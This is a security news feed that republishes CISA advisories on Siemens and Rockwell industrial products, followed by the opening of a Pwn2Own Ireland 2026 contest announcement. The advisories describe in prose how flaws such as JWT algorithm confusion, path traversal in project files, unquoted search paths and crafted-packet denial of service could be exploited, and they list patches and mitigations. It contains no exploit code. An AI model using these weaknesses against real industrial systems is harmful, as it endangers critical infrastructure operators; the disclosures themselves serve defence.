    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-385 Covert Timing Channel

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

    CVE-2025-9232

    Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 5.9 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2025-26465

    A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-390 Detection of Error Condition Without Action

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.8 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

    CVE-2025-32462

    Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-863 Incorrect Authorization

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 2.8 LOW CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N

    CVE-2026-5121

    A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-190 Integer Overflow or Wraparound

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    Acknowledgments

    • Siemens ProductCERT reported these vulnerabilities to CISA.

    General Recommendations

    As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolate them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-14
    Date Revision Summary
    2026-07-14 1 Publication Date
    2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation Studio 5000 Logix Designer]]> https://tsecurity.de/de/3684504/it-security-nachrichten/rockwell-automation-studio-5000-logix-designer/ https://tsecurity.de/de/3684504/it-security-nachrichten/rockwell-automation-studio-5000-logix-designer/ Tue, 21 Jul 2026 19:45:22 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could allow for a local attacker to execute arbitrary files, alter configurations, or execute arbitrary code.

    The following versions of Rockwell Automation Studio 5000 Logix Designer are affected:

    • Studio 5000 Logix Designer V36.00 (CVE-2026-9108)
    • Studio 5000 Logix Designer V35.00 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)
    • Studio 5000 Logix Designer V35.01 (CVE-2026-9108)
    • Studio 5000 Logix Designer >=V34.00|<=V34.03 (CVE-2026-9108)
    • Studio 5000 Logix Designer >=V33.00|<=V33.03 (CVE-2026-9108)
    • Studio 5000 Logix Designer >=V32.00|<=V32.04 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)
    • Studio 5000 Logix Designer V34.00 (CVE-2026-9127)
    • Studio 5000 Logix Designer V34.01 (CVE-2026-9127)
    • Studio 5000 Logix Designer V33.00 (CVE-2026-9127)
    • Studio 5000 Logix Designer V33.02 (CVE-2026-9127)
    • Studio 5000 Logix Designer >=V34.00|<=V34.02 (CVE-2026-9128)
    • Studio 5000 Logix Designer >=V33.00|<=V33.02 (CVE-2026-9128)
    CVSS Vendor Equipment Vulnerabilities
    v3 7.5 Rockwell Automation Rockwell Automation Studio 5000 Logix Designer Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Incorrect Authorization, Unquoted Search Path or Element

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-9108

    A path traversal security issue exists within Studio 5000 Logix Designer due to improper limitation of file paths within ACD project files. The software does not sanitize or validate file names embedded in the ACD file structure during the project opening procedure, allowing path traversal sequences to escape the intended extraction directory. If exploited, an attacker could craft a malicious ACD project file that results in arbitrary files being written to attacker-controlled locations on the file system, potentially leading to code execution.

    View CVE Details

    Affected Products

    Rockwell Automation Studio 5000 Logix Designer
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Studio 5000 Logix Designer: V36.00, Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: V35.01, Rockwell Automation Studio 5000 Logix Designer: >=V34.00|<=V34.03, Rockwell Automation Studio 5000 Logix Designer: >=V33.00|<=V33.03, Rockwell Automation Studio 5000 Logix Designer: >=V32.00|<=V32.04
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommends users to upgrade to the following: Studio 5000 Logix Designer: V37.00, 36.01, 35.02, 34.04, 33.04, 32.05 (CVE-2026-9108)

    Mitigation
    Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

    Relevant CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.7 MEDIUM CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
    4.0 5.4 MEDIUM CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-9127

    A remote code execution security issue exists within Studio 5000 Logix Designer due to incorrect authorization on a configuration file. This can allow any authenticated user to modify the paths of external tools configured within the application. If exploited, an attacker could alter the configuration to point to a malicious executable, resulting in arbitrary code execution when any user interacts with the external tools functionality.

    View CVE Details

    Affected Products

    Rockwell Automation Studio 5000 Logix Designer
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: >=V32.00|<=V32.04, Rockwell Automation Studio 5000 Logix Designer: V34.00, Rockwell Automation Studio 5000 Logix Designer: V34.01, Rockwell Automation Studio 5000 Logix Designer: V33.00, Rockwell Automation Studio 5000 Logix Designer: V33.02
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Studio 5000 Logix Designer: V36.00, 35.01, 34.02, 33.02, 32.05 (CVE-2026-9127)

    Mitigation
    Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

    Relevant CWE: CWE-863 Incorrect Authorization

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
    4.0 7.3 HIGH CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

    CVE-2026-9128

    A code execution security issue exists within Studio 5000 Logix Designer due to an unquoted search path in the External Tools configuration. The executable paths specified in the external tools configuration file are not properly quoted, and because these paths contain spaces, the operating system may resolve them to unintended executables placed earlier in the search order. If exploited, an attacker could plant a malicious executable in a location within the search path, resulting in arbitrary code execution with the same permissions of the user running the application.

    View CVE Details

    Affected Products

    Rockwell Automation Studio 5000 Logix Designer
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: >=V32.00|<=V32.04, Rockwell Automation Studio 5000 Logix Designer: >=V34.00|<=V34.02, Rockwell Automation Studio 5000 Logix Designer: >=V33.00|<=V33.02
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Studio 5000 Logix Designer: V36.00, 35.01, 34.03, 33.03, 32.05 (CVE-2026-9128)

    Mitigation
    Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

    Relevant CWE: CWE-428 Unquoted Search Path or Element

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
    4.0 7.3 HIGH CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

    Acknowledgments

    • Rockwell Automation reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time. These vulnerabilities have a high attack complexity.

    Revision History

    • Initial Release Date: 2026-07-21
    Date Revision Summary
    2026-07-21 1 Initial Republication of Rockwell Automation Security Advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Siemens Opcenter X]]> https://tsecurity.de/de/3684503/it-security-nachrichten/siemens-opcenter-x/ https://tsecurity.de/de/3684503/it-security-nachrichten/siemens-opcenter-x/ Tue, 21 Jul 2026 19:45:21 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Opcenter X before V2604 contain an authentication bypass vulnerability that could allow an attacker to gain full unauthorized access to the application. Siemens has released a new version for Opcenter X and recommends to update to the latest version.

    The following versions of Siemens Opcenter X are affected:

    • Opcenter X vers:intdot/<2604
    CVSS Vendor Equipment Vulnerabilities
    v3 10 Siemens Siemens Opcenter X Improper Verification of Cryptographic Signature

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2026-56451

    Affected applications do not properly validate the algorithm specified in the JSON Web Token (JWT) header. This could allow an unauthenticated remote attacker to forge arbitrary JWT, bypass authentication mechanisms and impersonate any user including administrative accounts, potentially gaining full unauthorized access to the application.

    View CVE Details

    Affected Products

    Siemens Opcenter X
    Vendor:
    Siemens
    Product Version:
    Opcenter X < V2604
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2604 or later version
    https://support.sw.siemens.com/product/206159703/

    Relevant CWE: CWE-347 Improper Verification of Cryptographic Signature

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 10 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

    Acknowledgments

    • Siemens ProductCERT reported this vulnerability to CISA.

    General Recommendations

    As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolate them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens ProductCERT SSA-096828 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-14
    Date Revision Summary
    2026-07-14 1 Publication Date
    2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-096828 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation 1718-AENTR/1719-AENTR]]> https://tsecurity.de/de/3684502/it-security-nachrichten/rockwell-automation-1718-aentr1719-aentr/ https://tsecurity.de/de/3684502/it-security-nachrichten/rockwell-automation-1718-aentr1719-aentr/ Tue, 21 Jul 2026 19:45:19 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.

    The following versions of Rockwell Automation 1718-AENTR/1719-AENTR are affected:

    • 1718/ 1719 Ex I/O 3.011 
    CVSS Vendor Equipment Vulnerabilities
    v3 7.5 Rockwell Automation Rockwell Automation 1718-AENTR/1719-AENTR Allocation of Resources Without Limits or Throttling

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-9140

    A denial-of-service security issue exists in the 1719-AENTR. The security issue stems from improper handling of a UDP unicast network storm, which causes the device to become overloaded and lose communication. A power cycle is required to recover.

    View CVE Details

    Affected Products

    Rockwell Automation 1718-AENTR/1719-AENTR
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation 1718/ 1719 Ex I/O: 3.011
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommends users to upgrade to 1718/ 1719 Ex I/O version 3.012 or later.

    Mitigation
    Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

    Relevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Rockwell Automation reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-21
    Date Revision Summary
    2026-07-21 1 Initial Republication of Rockwell Automation Security Advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation 1734 POINT I/O]]> https://tsecurity.de/de/3684500/it-security-nachrichten/rockwell-automation-1734-point-io/ https://tsecurity.de/de/3684500/it-security-nachrichten/rockwell-automation-1734-point-io/ Tue, 21 Jul 2026 19:45:15 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.

    The following versions of Rockwell Automation 1734 POINT I/O are affected:

    • 1734 POINT I/O 3.023 
    CVSS Vendor Equipment Vulnerabilities
    v3 7.5 Rockwell Automation Rockwell Automation 1734 POINT I/O Allocation of Resources Without Limits or Throttling

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-10573

    A denial-of-service security issue exists in 1734 POINT I/O module. The security issue stems from improper handling of crafted CIP messages, which can cause the module to enter a faulted state. A restart is required to recover.

    View CVE Details

    Affected Products

    Rockwell Automation 1734 POINT I/O
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation 1734 POINT I/O: 3.023
    Product Status:
    known_affected
    Remediations

    Mitigation
    Rockwell Automation recommends users are to migrate to 5034-OB8.

    Mitigation
    Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

    Relevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Rockwell Automation reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-21
    Date Revision Summary
    2026-07-21 1 Initial Republication of Rockwell Automation Security Advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]> https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/ https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/ Tue, 21 Jul 2026 19:45:03 +0200 📰 IT Security Nachrichten tsecurity.de If you just want to read the rules, you can find them here.

     

    Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

    As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

    Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

    Now on to this year’s target categories. We’ll have seven different categories for this year’s event:


    -- Mobile Phones
    -- Smart Home Devices
    -- Wellness
    -- Printers
    -- Messaging
    -- AI Infrastructure
    -- AI Coding Agents

    Let’s take a look at each category in more detail, starting with mobile phones.

    The Target Phones

    Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

    Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

    Back to top

    Smart Home Devices

    As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

